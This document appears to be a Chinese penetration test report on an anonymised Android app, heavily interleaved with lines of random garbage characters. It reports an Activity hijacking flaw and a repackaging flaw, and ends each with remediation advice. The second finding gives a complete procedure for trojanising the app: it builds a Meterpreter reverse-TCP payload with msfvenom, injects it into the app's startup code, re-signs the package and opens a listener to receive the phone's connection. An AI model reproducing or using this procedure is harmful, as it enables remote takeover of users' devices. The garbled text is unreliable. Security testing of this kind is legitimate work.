* `/ [! V/ i6 G( C7 N6 G0 x * d8 R0 v, X3 P2 \ Q% L
# ^8 {0 C9 S* K7 h
" X: z6 F& }: C0 a% d8 ` a# \
6 k# ^7 i# K6 | B - A, m9 G6 v: o9 Y% L" P
3 }: ?( K# C4 B/ G# q- ^3 Q
2 检测结果 9 s* i. T+ t, N% a p# q
3 H. B' ~# e+ ^
' D4 k i( y. Q9 S8 K! J' X( P! j8 b/ f* ?
! k: ]! q N9 B" T6 S
+ w: A( H" A- e& P! s7 { o 2.1 某某某
& i& E+ m) I7 X: Z! k
% _( n1 W0 w% g+ K& A
7 T2 h) [, A: S4 K
" w- b0 v( Z& K p7 L
' ]! q4 U' ?3 m; J: N$ n9 w5 X
4 z! V- p4 G+ H5 |/ z 2.1.1检测目标 0 ]6 S5 M7 f$ W; m+ | W
# K9 y& O7 a" f' e0 l2 U I
0 J$ V: ^7 n$ q0 a
5 H: \/ D/ x% N, y- G 4 Y) d( f9 J& ~& B, a
, v+ {5 g# X: x2 l 目标地址: 某某某某某某APP
7 d6 p+ A2 e$ I2 ]2 N
$ G: x9 Y5 y& s7 g# y V7 |
; q9 i. `5 l7 m& C9 Y) v, S, X# f& ~
l7 s: q% Y6 `/ Y l0 E
5 L& D2 I) J/ p- ?% T( M
( P2 n0 B# a$ Z2 n$ Q" k 2.1.2检测结果 " b7 C, m* I/ |3 Z z2 k8 k/ ?: w
, F( j: Q/ U S, H' X' E* l
& z8 ?) y1 I5 ^1 y/ f
/ W- m. f) x4 R. u& E3 N
$ C1 h, G& C% m' f: N4 p2 R' F" h6 \& R! ]2 g |" N
2.1.2.1 3 }0 @ I7 Q9 O* C
% H% _" @3 N! q/ ~; `4 v
) _ [, D) h' _+ @& r$ t5 G- e
/ Z- S0 I, N. t* y- M
3 W1 T; Z3 M. z' `
4 N b8 ?0 Z% }& i6 q 漏洞链接地址:某某某某某某APP & V4 Y. K4 u) L8 F7 _) y
' @- L- ?; q' z% ?% M* E% e
7 c- S6 [; O" [4 R& W' _9 K
; t3 t$ M! Q8 b! N1 Y' u0 y
, H6 O/ K% V/ w) w- y& ~) A; Z) b" C2 _$ U
) C& P1 I+ k" t! h. H
0 L6 G- b( {7 G
1 u8 U1 m2 k/ \; k, [& @. h( I9 l: D& |2 T, k
+ t0 H6 k5 s3 B' g
, u* ^/ \9 ^( z# o; ?- z7 V 漏洞分析及取证: " b- z8 ^. `- l, H- _
& p+ f( O9 P% G+ O
`" t+ M g3 `* D% }8 B+ v
+ T3 e" ^# Y+ q d8 S" @
5 {' _/ t8 r* B) [$ [5 `
z7 C5 ~: S1 L4 e 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 3 v# m( q# W6 p+ H
' b3 u7 p. c0 f7 i8 I
1 g$ p) F$ F; u' h7 a5 i& g
0 \! H2 [3 o4 ^% H+ Z" A2 x
! L% C0 D5 x" A6 C
9 K5 l* h8 f1 ]# e7 i
& Y- I7 d" M" _5 v4 X5 X8 T0 K
3 H x$ M1 n( ?4 L% Z; S
+ u$ I7 D# c) t1 R: `1 E& |7 \0 o% m3 i/ m
$ x" i8 y3 R6 V: c" T
. ~9 m N/ v+ l- s1 d# z) o
) G/ S& v7 W4 Y6 C9 y5 T3 O& W, L2 M$ k k# L* _; W2 z0 P
9 l% T8 A% H2 O3 o5 O5 H1 t
5 p2 g9 p4 s; }2 q1 r* j ) E3 V; E. ^6 u1 k& {1 e
6 z# n$ A9 t$ B& k" g4 {
3 Q5 a; b$ Q; {
. {. ~7 G* E; q: r0 \$ R" f
$ n: {, A8 {5 Z9 Z
+ S+ e0 ?( ~) A6 o ^3 A3 p* B& d: h) q9 x
0 w1 G- f. ?8 X; T. Z- G" O, G
# M& j9 I; N8 y0 N: A. P4 [
, I& M- O" \. ^2 w& }1 x
$ u8 h. L5 M) P5 Q) V& N, g# H
& ]# o: n. [8 j0 i8 X2 w. q + _3 y) ?! V0 z6 |7 @! @
/ `# g! {( R/ z M3 [, S
+ y+ y# ]- U8 a- W' g" o
. ]0 N! E8 W( T
$ U/ g2 b2 V7 p. [% }: d6 i) l( ?/ y5 ]
! r; t4 x6 S) K; @' E& F
J: w0 \ P7 g4 V7 y
漏洞危害:高
+ n* U# M2 d% [/ [9 v
" {6 F& G. E+ A/ q' A
: S Z) ]5 W$ m/ m* |: z
8 t2 z: b/ i+ \! e0 C ' w8 T) }0 ?& } D- `% D. {1 }
/ l W9 ]4 }; z5 p- r. s* n# R- x K
5 y2 G1 Y! G* O" o! p. J) |+ H. f K
! k. I X% J8 w8 l8 B2 |( k9 P5 g! h8 A" r# |- O' _, c3 n0 v
y) s" I* Q$ v, O& {. J, S7 D
- m [8 l: o3 g, O5 S! P, K
; C& L8 ?* P- x5 { e
. |8 X+ {% [, o. l* u
( d0 t2 |! t' `- S! J& ?
9 {4 |1 I- l) ]3 y 严重程度 ; P6 X6 t# z s3 Q4 @3 j% X. l
! G' O# {0 W P' P. X" _3 }
' N* h" @% z |' Q5 ]" a' l" A! i3 f
|
, [8 _# D" i3 v5 d3 [! ^1 n0 B) D! g4 G" p5 Z" H
- ?7 w$ Y. @6 C8 N% y% v8 L% t4 H
6 g; M# m' r1 }+ D! K% Q, t* a
: H9 e/ W5 Y% z) |% b. N# B9 f
6 K: Z8 g7 z" v6 @- a( M
高
1 c; G3 ~' N7 b1 R( `! _5 \/ F0 _
) w- c! R5 P6 ^+ E5 _
; w6 c. r! r: v' `4 z6 x
& O; f7 ?9 X. ]. ]$ J) `& U' c+ J, b | 5 N9 Y' ?/ ~( E: U: c. Q
* I8 O# y1 X* n5 j6 z8 L* F
4 o+ x' G. R' S
9 Q: l$ o% h' I% ~; D* X5 T4 P* | $ {, U; {( A: O% H, s
\7 _( F) E" @, R ■ / L- ?4 R8 G: S7 e, I
/ t+ D3 a# V" m 9 Y+ c1 c* E8 c5 P. x
+ u' |7 d8 D& q1 C
|
- V/ ^2 P+ S: x& B, [ }8 }1 K7 V) w2 l0 t& E: s) K+ f# K
5 O- S; v/ V$ r( V( E, ?9 a
n: O' C' j8 p9 o2 c
$ J0 S. {+ B( C7 a3 i& c/ S8 r" p: M9 z" D! p3 T8 L4 N4 ?
中
" Z' f5 j6 s' `0 K5 q8 \2 v& U& c5 T' T, ?; h& `) w2 c
, [2 v" x( X; n( t( s. z" ^: v$ j8 C
) M4 c4 w- y: s/ g& [1 `
| ) }/ I8 t( a( i6 ]/ g# p: F
3 n5 _* {. Q3 B |. m
6 |0 i( d* x( D1 [# |+ `4 j! J. N2 |& v0 R8 K8 J- J
' g; e1 e! ]' ?% j* }
& D' A; K) }- z: y* I4 X
8 Q2 U# f) H! r, ^
9 O3 F) Z# E B9 ^& O; F / u, }1 q2 d& r3 \
/ a* j$ t3 e3 _0 X3 c$ h# |, Q) b
|
p3 |' Q: o0 P1 ]3 s1 H9 y9 @3 V
! ?( O& k/ u$ ~+ ]
. D2 e( y% @, g# K8 F$ g# I' j! M# v
1 {! {5 N3 X, X) H# [! X4 u) K: l0 J 3 Y c4 g, [% @. t' U* I2 M
+ i9 g5 H0 ~7 W0 p( ~) w 低
7 P, g+ H. x' q
' k0 B$ P- J' |9 W0 z2 k; C( M+ X( n
1 P' s' j+ L" x2 e2 a9 \$ X) G3 o9 n
| 4 _. }3 y. S& b; u4 A+ I6 y) j
/ D$ E4 J# W# R( G- E8 ]# F/ Y
: e. ^6 X, c' D, g7 T4 \+ M5 c+ {9 L4 D; B% W3 a5 q
3 H3 V* x* Q! C+ d# `8 J* k5 |0 B8 i2 W
! ? `& W3 E1 x. G+ Y4 \* O Y7 e4 F$ b* P' z# a8 \
: w: b: `; s& ^% p" I3 D1 A
8 {) M5 Z: b+ L j0 S" ~& y |
5 h0 m G1 d. \# z
3 v7 l; x- [6 f
+ ] e8 Y, u# B% _' h8 E( v' t$ R! N
T) D5 [4 z# m+ K+ s. {
& x/ E9 f+ a4 C3 `
8 n, c# F: y* K( y* K U
2 h7 J x+ ]* U9 C , u/ B4 }5 ]) H( P4 f, t
* \; X: y; ] S' ?% f* n: E * ^$ B* z8 t/ H! s+ Q; Y2 K
. i4 j& O+ j( Z+ _+ H
- Z& h, L1 T2 I( X+ g8 `6 K C5 D
! z# h! t! |3 Y7 M* [8 B) r, J* s
9 l" Y6 H+ a1 x, l
$ O8 t/ R, `. w4 u- n3 F/ W
) m- ^* S( F% d" y
4 N7 I2 R2 |8 k" M4 k3 E 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
, k* u# |+ G5 a3 f1 y& t
, k. ]4 E1 a) ~; A& o9 U
/ }$ o! X) t; u) y5 i# }: O
- Y- s% f) M4 V% e$ E- v
. g: H' a* E3 y2 q
: W4 y& \5 ~1 [
1 }/ V$ a8 z" ^2 L" q( _
+ u4 ?$ S& p3 {: i: v- I
) i# U1 I4 x# ~& V5 ^6 y6 P9 F7 s1 a! q: z0 r6 u5 I _* Z% j
* b J. e- ?) w( R2 Z4 Z
# C# G( j6 F2 g0 d8 X9 q% C
4 o" G- c$ Q4 N4 q9 M7 Z, n. P; [6 g0 K9 s5 \' d' y
. \2 I: N1 U* Q3 I( U0 ~: _) V7 X
* o, X3 M( H- n/ k$ h# g
2 L7 K; ~) n& X1 t4 O. g 2.1.2.2 % o/ X- Y4 K( _2 L& X0 q1 M; _. M" l
D/ i0 G4 V* g, F: A
4 R, t8 O, j1 c# K* ^) T$ [% ?
% F9 }" M' X+ G( P, l9 H
- \# \( H8 _+ n# t5 f) [4 D0 |
3 z6 Y1 {; g7 [1 `& H9 x/ E 漏洞链接地址:某某某某某某APP
( p; s7 j4 K* N! g" ~0 [3 F9 s0 Y6 u! J" W X
& h# f1 I/ N/ E3 }4 B
/ F3 z" g8 D) s K l
0 v8 Y8 O' o" i
+ W; ^' k" C: ], V$ y 漏洞分析及取证: . ]/ I: T: z. _
6 J% A. ]9 \7 Z. F, v' n
# o- j: r( e# F1 U+ v
4 ~- X b5 |7 J4 w& k" r
/ e: ?. B/ C& M$ D. V0 B/ {$ o M; n, M" t; T
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
. D [) c! G3 f% _
& h) x, @6 o3 z0 G2 I' k
$ C% n: l# k; V9 c8 m
* b7 q6 H/ L! {* Y/ B" u
" }# A( G# K; N6 ^8 e- P3 x# q- {. e/ b/ @ @) B3 j
用Metasploit 生成木马 apk # l) N. B6 {# E* I, R+ K
% u* C& I9 ~. N& [
( K* G" @1 V" U2 X
/ M1 a% v/ y, M+ l6 b" I 0 X- l4 w* M6 ^$ g+ {$ O
5 j$ O% f4 H0 n& l" ? msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk / c. q* u( R: a, ~+ j; N4 _, i
3 s1 M% i* o; s
0 \7 G F% }; P4 l1 h" J
1 `" d' O- G% r: i. G/ Z
( j: t. T3 v# S+ p; Q
) x) V O3 [' o, b3 |6 H Y 反编译目标apk和木马apk
) v! ?9 d' X l: ^0 V* N7 r6 l# Z% U, X
! N! g/ B3 A% d
3 ? [* `- E. B5 N1 K , a& `% m& E( i$ m8 p
0 n9 K$ D* j" i
apktool d target.apk
, Q1 N- U! t$ o3 c" K3 P0 y1 n# |$ ^; z4 c, n* w3 w0 q$ k
apktool d cockhorse.apk
[3 U$ d( F' ^4 e; D0 ~- k8 `! U& O9 \7 T0 D0 k
' k* O- K- @! c) O, e
/ C& i& K* `- ?
6 H& V' b6 c$ Z5 K! R9 q
V7 f# p/ q, [* A 木马 apk 注入目标 apk
5 Z% g! L" z! l: x
' ^/ ?8 ?: B& o. Y5 t
2 @1 u# o e% S+ V
. ^2 x3 n6 t- r7 `# g, i
4 N3 S4 y5 B3 Q7 r+ t
4 A' b7 D) q; J- k 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
. f6 }' W5 }" K
# n) y' R5 J, v/ ?
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
' |' p4 @$ s+ a4 @; o Q6 L7 h
2 O( _ S9 C* R9 W7 j
8 H. I$ U6 [( [/ o
( i5 q. L. h; {& z" m% |) U* ]: A
6 y @: @+ _9 }* {$ f
* B8 y) D; i' J2 K6 i! a 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
/ _$ ?) B7 ^6 ~* @4 Z" @5 z6 B$ p7 d- h" H! e" }
. U4 c2 h- T4 K" G" @- U: [! h# h ? q1 t
* k" j$ t, M+ ^: a$ u8 v
2 ?" o9 |, { E7 R
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 ' d. k8 e% L0 t4 g! W$ z
5 e) _/ v: K) r2 Z4 }
) j0 P0 x7 Y* E
$ E0 B* F9 j# ~
) \. @8 j# n+ a3 y& B L
+ ]* }$ |7 m+ ~1 B' \7 m 回编译生成最终 apk
" q# U, I$ }& f3 m" w' c: _4 F- s8 Z! y9 Y
4 E; m2 K' a9 Z3 ?7 C5 u, k+ z, |2 y/ p" K) f
: |' A3 K* b \4 }
: }& M, z2 V$ b, G3 h8 k9 Y1 D
重新打包
/ Z- Y! X3 p4 k
6 O; q, ^: u0 M* i4 y
+ D! J" u; Y7 V) E. Z ?8 h1 ^
/ I) r, ~$ ~ P3 u0 @5 ~" b: p 1 ~+ Z2 R0 I) J2 P( n9 k# o z
$ W3 ~" Q/ f$ H7 H5 ^0 f5 v apktool b -o repackage.apk target_app_floder
5 b, u9 ] A$ ~6 A0 j: J. F$ c) Q! X& V$ n" Z
4 r) B& @2 ]# M* n- G# |" B
; F6 _* \, s: I3 F( v8 T' U' H , c$ \7 l& l- |8 v% O j
E9 P; D/ e% ^8 U 创建签名文件,有的话可忽略此步骤 1 Q, e5 J/ P+ m0 q
; @: c& S$ L3 f9 f# C
& i4 H( ?( k* K/ J. H) K! v
5 ^( x* l* O- ]* p
" @! i3 n7 A+ s( y: Q+ W; U
1 q0 ]0 Z" [* c2 i% n/ ~4 x
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 1 e8 L1 M7 Q8 [/ i
! d! y) J% p& r* [' T
0 J$ u- _7 U. k
1 m4 m$ J8 l+ O7 M
. q4 i* r5 f% x
' o5 Y2 n2 }) T5 F2 h! j 签名,以下任选其一 / U! J0 v5 w* y" @( I" F e
2 U" z( Y& Y5 T" G+ i
, m4 @3 F/ |& J: n
+ G% o) M, J* W1 K9 l# A* J
2 Z* k" c- P! R6 ]' n% U! Q% B6 J
- ^7 ^9 c: ]! ]. s9 N# d1 G jarsigner 方式 " u0 P: m# {* i6 F7 C$ N
: O7 C6 [. w* h
1 P/ f% ` J! ?3 x5 p/ E1 @, g8 p3 f
8 _$ ~0 F$ f- y2 l; q
' V' B3 b$ g( @: t/ m. H
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
* F" M: t* X- n0 `8 X; a
: o! s; T; X$ R( u3 T3 V. g
9 h3 w) I3 o5 _7 M+ I+ l
9 {) T8 X: M( b7 |8 r+ E6 @. x# F $ k- h8 h! j2 Q
' C0 w& n% _, Z6 t apksigner 方式
+ }' R9 X: S' l5 w! h7 K2 C
5 l/ Y: W/ {" v* ^& m# @( {8 J' N8 y+ I
j/ I3 y6 C9 a1 q# ~* O- S* M! Y9 M9 B0 h" E+ X r
, f# g$ [7 {: U5 H2 y& {% j: J: [9 K6 q. k+ H; w7 B
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
0 H7 G+ [4 S9 M% A% z
. U7 v( f4 R2 o& x* a# E/ p
6 V0 x3 k/ y/ q+ H! m2 f1 _9 l( J* D6 w) ?
! I% `) I" w1 m: I w6 f3 \
: Z5 b1 \4 D) e4 ?# J3 g* s 如需要禁用 v2签名 添加选项--v2-signing-enabled false
2 k; i$ P6 Q; k; b8 N7 u$ E# m4 ]% E
9 U4 L# C7 H$ k+ x' p K' C' m4 c9 z$ n6 X
/ g9 N* I0 y/ [! l( W
. i% M, ?) t% T1 q0 k# {
验证,以下任选其一
$ y7 E3 _ r% H" g& E
) Q& S- T) w: C; m! G; t+ C
& t+ J+ [9 L: ^# ^2 K1 y
9 X! j2 T( |6 A K6 {* E: b0 K 7 E1 j5 B- N- f+ T% l0 {
$ T/ w, m7 ~# u% Z* j jarsigner方式
, o" A. T' E/ I. W9 Q: l, P
% E, `* w- P. {3 M- H4 a
/ m/ ]% }0 C4 w5 T y% R+ T' Z7 J3 q0 s* A! N+ }7 f; D
2 A0 W5 _" V7 S
- y# b8 t2 R* w: F T! E2 e- z3 E3 O
jarsigner -verify repackaged.apk
$ A& j0 Y. D8 B% Y1 I) z4 N9 s+ ?- g3 A$ k- g
4 l5 |9 l9 O& U R
8 g }: d0 }' r9 H, Y1 _ % g. h: w' P+ m$ y# d: `
+ ?7 V3 _' I' V7 n apksigner 方式 ! q9 z/ T) d5 X4 f; P
- \4 ]9 M4 i& J' f$ R
/ q# ^: g2 ?: ]4 m! s
1 `4 h: Z( U2 C- @8 W* u
' t5 s5 n$ ~5 u/ t' e! J! y8 ~) i2 q5 E$ m$ s0 e
apksigner verify -v --print-certs repackaged.apk
& c, S5 s9 ~! s6 W% L; Y1 ^1 [! [9 M- M9 o4 j
8 J2 V( k( k; g% ^5 a
* F6 O! g1 b6 `/ t
- M( I& ?5 V5 ~9 t& B k# D: J2 l
* J4 u# E7 g: z0 V keytool方式 9 F) f" D {: h& k: e
0 y( T* T r1 @' e! ]5 ?6 R; F) O: O
0 P9 ]/ M, n; F! |' N5 K
r$ G6 _4 Q( F* h9 U6 U ' z% | V/ ]% F# m) }2 s
, S, h+ ?6 Y& ?- f g
keytool -printcert -jarfile repackaged.apk 7 s- r) W! Z3 T0 N
2 [( {$ B8 ^6 D I7 w; {5 P
$ B, Y$ y1 }9 Z( @ U- s2 g0 ~- ]
+ D8 @- d8 f/ h" }( V % T0 d$ h# \& T7 a' R1 _9 l8 K
" ?2 O: F% Y$ d5 h8 R) F5 d 对齐 . y$ N7 t ]8 Q: O6 p" j
: K2 a" b/ \; k# y0 E. M
7 O4 j6 n" C* y1 U# f
! i% f3 q; ^) i! U
7 ^( U5 U& G# M$ N. @
$ z6 r7 r; C& H$ D" u, ] 字节对齐优化
( D8 ^3 G5 ^; f9 N( N
$ j; _! a8 }: P
5 t9 a- L t- r% A d4 z2 w
" z! Q8 m1 v. A
" n6 V+ P) A# O, R. O; l( L3 ]1 \
2 U* N0 L5 t, [. g zipalign -v 4 repackaged.apk final.apk 4 p7 N2 |8 p: Q: Q1 a7 K9 p
2 I/ \0 k2 |& y; ]% v5 W+ B$ K- E6 |6 L
+ {0 r. I$ W9 a* @: E
5 h# D, Q0 e& [! W1 }( R U6 C
8 y6 i. v+ w8 _- d( n8 l2 H
0 P6 T k7 ?. d4 o6 H 检查是否对齐
% W. e: p0 P+ T6 c' O8 @. H/ K8 o' c V8 f8 @/ n
7 E8 z n' I! v, {
& A" R* z2 j( g$ Y! U" \ " G3 X3 c' t6 B7 j# |6 \4 I
3 g, r; X& r" N6 p
zipalign -c -v 4 final.apk
8 x! t) g3 w* ~& v5 T* d" x
# H: h' L8 c4 o" j4 c
# x$ {$ s, w9 E- p9 C5 d7 {0 {
. c( v" [8 u, b% x5 i; l0 m, k! S6 p
9 u' L+ i9 I8 N6 B: x
4 k$ A) K: ^7 j' u; R) r+ H6 j! C' i 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
; Q7 w% O5 e5 I6 a4 d. V* `
0 R( P0 T; V5 ^
. |, f: K# z0 i
4 Z$ @) t" K4 Y1 v
3 A5 V* P% F/ `, E M3 A6 d
* |; l# }* F% g0 A 启动Metasploit控制台,配置参数等待上线
; J9 `! P1 p0 \% F; l( r1 j- I; h x- m+ S x8 I3 _ J
: c; _0 l8 V' P* O+ C: ~! \$ S
+ N& C% b" B/ ^. l& A 4 s5 |: N9 t7 d: I: D' ^4 c
! [. q* w0 f# x, g5 l1 p5 S 在终端依次输入如下命令
6 w5 c" a. v+ s) a0 T' {
& `* X# h8 v* ` p
1 g( j4 J$ @/ e5 E- r R5 W% [
# X) K9 o: j2 L% `
2 ^% W0 H- }9 y. U0 A* r" e0 d
P. J8 f5 F8 y4 f/ }% A msfconsole
& I3 G ^8 E: [; {1 @
! e% P2 r& L) ^& V# a1 ~
' z( Q& G/ ~. o2 F* o
+ O' J+ I8 `! |" z2 o
- b- W5 T+ v! E+ J7 r+ e2 ?$ e" m+ [0 p5 I/ P
use exploit/multi/handler
9 g( r, H& ~0 W' n3 [
- r) d& L# a1 O
7 z2 z' I) b5 W( _0 s
% V& p4 y( Y% m' T: i+ }
3 ]- l( V. M u7 J9 t
+ ?' o# M& t9 q/ }/ e3 Z set PAYLOAD android/meterpreter/reverse_tcp , j M1 z d- I$ b$ [" Y& ]
3 O. \& F: }5 W |5 o: \" Y& C
9 b4 D! i% V' C& E- I9 ?! c: x* a/ g/ n6 X: Z# N$ ]& b) F' H
) _7 _$ b1 I3 Q# ^. z
% }, H# ]* Z1 X! F ] set LHOST 192.xxx.xx.xx
# H. n$ m1 y" E! d3 l6 O, a- b+ [# I9 m+ Q
8 t( s, \; b3 t: a, i% ^5 W
4 m- H; j. T6 v, Z
( u5 v- f3 F, r1 o' G5 z( q$ H J4 f6 ] X4 H4 J
set LPORT 4444
2 C2 q% G9 ^7 e/ U: m* ]4 L. I, [% D
% {' g; |8 D- P" e* J* U- S; s
" b( }3 `5 W* Q+ V1 B2 n# q4 y) |7 V, v5 u, V
$ Q. X1 {0 U9 {* V" _: s8 v
) w0 y1 j" L. e/ I) `0 n: H5 s exploit 8 `8 v. A7 C7 a
f! @, u5 E+ B3 S% [7 e+ K, U
* L, x* V% M- l. Q3 Y3 C
; B- w( q' Y& s$ v! x 6 c1 c0 V+ o2 t! b& P* l
, V! t& k2 W+ c$ z: c. l
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
& Z5 V1 y: [ S$ M( C6 N5 X
% Y5 u- Y# A/ Z* t7 v' N( v5 l2 L
2 V: E1 Y' q3 ?1 o D" n" ?' Y& W, `+ Q( U
/ |7 U! {5 {, k E5 ]1 Z, @; h - K9 {7 P! I" j- @9 p
6 `9 u% t7 C( s' J4 r$ x# j; \
漏洞危害:中 3 X9 {/ Z, v% ~5 W
4 A5 h3 Q/ b. H; U2 {9 M
3 t! e' L+ ]1 s4 D s5 {
: X6 F: t, U6 n7 P/ r/ P: _
8 v0 Q+ a$ L0 Z! z; U( k
+ w* U6 K0 y8 b1 g2 x& J- n
, Y: i8 d/ v: p9 B' ~, T
( R. p4 H' o5 o
8 M# o: O2 w' E/ e
5 _: ~5 M# ]. l3 e 8 S1 ]2 y; w4 n4 B* M) k
j4 K) r& U. u4 U, M
! }" H$ b' ~, O. [; I& v. v
6 H1 e# R, g& z% |# c7 F8 `
7 v4 D7 h$ f% z8 |0 f
3 ?! |4 q* r2 l$ }; Q - J6 i/ _3 w1 M
. A; H( ]7 e" \3 ]! r9 r 严重程度
! j8 j* z5 K W, {! z. R; o( {% ]# n) e
( S% ?3 C! _4 A; U; g; q
- ]/ Z, ~/ u9 ^7 F | 3 g& y9 q' s+ ^
/ m) J& v5 ~9 C* Q, m/ F+ g: X. F
; o0 V8 y% _/ x( F0 v4 e# ~( x, ]6 y7 b) t2 g
7 U) R( G; t% g8 o( K- `2 M
/ E; v. I6 _7 n2 u7 _% ?# o3 N. d$ ? 高
" p0 P* w- F# w7 B
* e" s% u$ o1 T* ^! z : F$ F' v" k3 B( d ]4 m
; w0 F# G! E7 b. F( \; X3 h0 k |
% L0 T' u% R) B" U- S
+ J& F) o5 z, J) l: i1 p 7 I+ C6 g2 {; W% I! h! e
% o9 [# E7 p1 o3 N
$ |' [ F6 X2 L6 F% E/ x X( P* t- L+ @
■
7 D3 D, I+ }& r% I+ H6 j7 x0 m$ b+ V' d. E* y. ]( {
, V1 r; h% i: q
( F" V( r* _6 j% \! B
|
4 D7 k" F, e- q, L/ J+ M7 Q( N; |" S9 m4 a/ [6 Y8 J% W2 O
+ N D. x5 H, C7 R' q
% C; n2 _4 ]7 i: ^- @/ l' h
2 Y9 Z$ ~; Y8 f. G
, `8 A7 p# _7 V* |( V. Z3 E 中 % o) U3 N# }& ~( R" _
) I& U2 z6 ^' e+ x( ?& z- t
2 y5 `" r4 ?* F. \2 c) }4 J& m9 x- z6 T ~8 J
| 8 p; |( ]( ` m5 |2 f" W& s* q5 q
$ [; P! `$ |. ]( V8 E0 x }
$ d9 e8 Q, o5 U
# u+ ?; d# X" [. t
0 @6 b5 e/ o! S3 Y3 l$ m
$ V! Y1 ~1 ?: x5 w7 q 2 L j. e& [$ L" ^4 w ^6 @
& A& C, ]5 B" l2 b# A) K 3 d# U3 P. I; G% v! C) q, ~
. b s4 p6 H2 \8 F3 O- `6 p Q / K! u1 o+ Z! \. `2 q, c
7 u: x. }, k9 S3 r( R2 F& g |
7 y( A4 h2 @ p- P( M. r, L, S; M" D; Q. T
. Y, M: p8 I: V0 V3 C# O: z6 [2 o' i* k
+ [" q7 U; G5 q: k+ c$ {! T
1 f [; i4 e" c! {( e* g 低
0 z3 X* t3 D6 D' r+ }' U$ p( X# M& a* w5 J& ~, |4 j2 t$ w
6 t$ A7 T8 z: u# r( y: E- K) T6 j& s4 W6 w# W# O1 U d6 L" k" x
|
+ Z6 G9 F$ s$ ^/ o( X: y& L9 T8 D, z4 ^$ g8 L4 q
" |- q9 P' G6 _, s
% { }; }' S: I2 j - N: J( @6 q a$ Z A1 J$ Y1 L+ ~# Z
* @/ ^" P% z/ @+ O/ _. U
" B0 ] w4 e' c" \
. P9 H$ F) t' W- I& h3 x
# b I3 l" h0 ?8 j6 M& Y$ h. ]0 r( S$ x, S, s
; I1 ^* e/ ]# k4 e2 f
1 X4 F& Y$ Y) z4 r* ]5 M4 X | ( j+ O+ q- X) `
7 |" i7 b3 [2 k' p2 x. s4 D
0 o# L( T, p/ p: G! B
+ b( u- E5 }, M. g 1 ]5 t3 v8 i& @
) b- o% ^- J w7 \" C( S8 h: }$ ]
4 C5 \* j2 l" ~4 y" X x9 v. E; X* ]! x5 `6 O3 J( R( B. {. r/ a
2 r2 w, ^3 G( |2 @. p' s0 [3 j, {# b) z
. C4 y8 b9 w7 i7 _4 ?( g- z3 `' E* R9 [0 W* |3 @+ w5 A2 h
8 \: ^ K: {" \( v# f5 S0 A
& ]7 ]; U% s) ?6 B) C$ H7 K
# _; V% P% l" t0 C9 [- f$ o: K8 l8 u0 X D% b: _) t% g. j
. @9 E: Y1 s1 Y, w# y( w& t0 W
" G9 x3 ~: b) j) o. r7 x" Q& |" |
修复方法: / f$ X4 P* P, w A' y
! k& H% }' B* Q, ^
% T2 e. y" J4 Y6 ?$ H& _
4 v4 @" \3 d# p$ s1 M1 E2 Y! O
$ Z9 z# }: E* A) G; S: b0 Y% n7 Y: X8 o( h( j
1.在 APP 启动时应做签名校验防止二次打包。
5 a. e( n+ A8 h) X- E! u; L
( M' o4 `+ l, W j6 o 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 ; t+ c7 F3 a, r
" Q* W" \! W) G' _7 [
) {/ A7 n6 R M b5 D6 f
# k2 A$ R. I% ?; j* P& `
* A/ B! s' z5 M2 X
* V9 Q. i6 Y; y. X
% \# d; p. Z4 D+ j, e7 H! R$ p
j' \) Q$ |; F& ?
; U ]4 O+ W+ P" B
+ y0 ` r1 {, O9 W- R% E6 U( A6 x
" U3 P. G, [2 m0 [, d) @* D9 }( b, J/ X% F/ K/ w
4 k* P- G! f" |4 k0 X A
: p# z8 [# T4 A! ^9 i& I
0 s5 H6 g* D3 v* `
+ U# t7 F" a$ x/ W# j
8 P+ N' T. K& W0 D$ V5 u: R
5 R4 [+ r% n0 w$ S* O
$ s @- T: {' T" R# q2 p* Q& H
$ C3 F: S# M' p. F4 I# Z